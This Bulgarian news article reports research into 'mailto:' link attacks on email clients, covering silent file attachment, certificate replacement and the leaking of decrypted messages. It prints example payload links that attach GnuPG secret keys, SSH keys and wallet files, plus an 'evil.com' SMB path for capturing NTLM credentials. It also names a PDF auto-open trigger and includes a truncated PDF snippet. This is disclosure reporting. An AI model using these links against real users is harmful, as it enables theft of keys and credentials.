Атака на потребителите на имейл клиенти с помощта на линкове «mailto:»

Изследователи от Рурския университет в Бохум (Германия) анализираха (PDF) поведението на имейл клиентите при обработка на „mailto:“ линкове с разширени параметри. Пет от двадесет разглеждани имейл клиента бяха уязвими на атака, манипулираща с подмяна на ресурси чрез параметъра „attach“. Още шест имейл клиента бяха подложени на атака чрез подмяна на PGP и S/MIME ключове, а три клиента се оказаха уязвими на атака за из extraction на съдържание на криптирани съобщения.

Линкове „mailto:“ се използват за автоматизация на отварянето на имейл клиента с цел написване на съобщение на зададения в линка адресат. Освен адреса, в линка могат да се зададат допълнителни параметри, като тема на съобщението и шаблон на типично съдържание. Предложената атака манипулира параметъра „attach“, който позволява прикрепяне на прикачен файл към създаваното писмо.

Имейл клиентите Thunderbird, GNOME Evolution (CVE-2020-11879), KDE KMail (CVE-2020-11880), IBM/HCL Notes (CVE-2020-4089) и Pegasus Mail се оказаха уязвими на тривиална атака, позволяваща автоматично прикрепяне на произволен локален файл, зададен чрез линк от вида „mailto:?attach=път_к_файла“. Файлът се прикрепя без показване на предупреждение, така че потребителят може да не забележи, че писмото ще бъде изпратено с прикачен файл.

Например, чрез линк от вида „mailto:?to=user@example.com&subject=Title&body=Text&attach=~\/ .gnupg\/secring.gpg“ могат да се добавят закритите ключове от GnuPG. Също така могат да се изпратят съдържанието на криптокошници (~\/ .bitcoin\/wallet.dat), SSH ключове (~\/ .ssh\/id_rsa) и всякакви файлове, достъпни за потребителя. Освен това, Thunderbird позволява прикрепяне на групи файлове по маска чрез конструкции от вида „attach=\/tmp\/*.txt“.

Освен локални файлове, някои имейл клиенти обработват линкове към мрежови хранилища и пътища в IMAP сървър. Конкретно, IBM Notes позволява предаване на файл от мрежов каталог при обработка на линкове от вида „attach=\\evil.com\dummyfile“, а също така може да перехване параметри за удостоверяване NTLM, отправяйки линк към SMB сървър, контролиран от атакуващия (заявката ще се изпрати с текущите параметри на удостоверяване на потребителя).

Thunderbird успешно обработва заявки от вида „attach=imap:\/\/fetch>UID>\/INBOX>1\/“, позволяващи прикрепяне на съдържание от папки на IMAP сървър. При това, извличаните от IMAP писма, криптирани чрез OpenPGP и S/MIME, автоматично се декриптират от имейл клиента преди изпращане. Разработчиците на Thunderbird бяха уведомени за проблема през февруари и в версията Thunderbird 78 проблема вече е разрешена (версиите Thunderbird 52, 60 и 68 остават уязвими).

Старите версии на Thunderbird се оказаха уязвими и за две други атаки на PGP и S/MIME, предложени от изследователите. По-конкретно, атака по подмяна на ключове е приложима както за Thunderbird, така и за OutLook, PostBox, eM Client, MailMate и R2Mail2. Това се дължи на факта, че пощенският клиент автоматично импортира и инсталира нови сертификати, изпращани в S/MIME съобщения, което позволява на атакуващия да подмени вече запазените от потребителя публични ключове.

Втората атака, на която са подложени Thunderbird, PostBox и MailMate, манипулира особеностите на механизма за автоматично запазване на черновици и позволява чрез параметри mailto да се иницира декриптиране на криптирани съобщения или добавяне на цифров подпис за произволни съобщения, като след това предава резултата на IMAP-сервера на атакуващия. Шифровият текст при тази атака се предава чрез параметъра "body", а за инициране на обаждане до IMAP-сервера на атакуващия се използва таг "meta refresh". Например: ‘’

За автоматична обработка на линкове "mailto:" без участието на потребителя могат да се използват специално оформени PDF документи — действието OpenAction в PDF позволява автоматично да се стартира обработчик за mailto при отваряне на документа:

%PDF-1.5
1 0 obj
<>
endobj

2 0 obj
<>
endobj

Източник: opennet.ru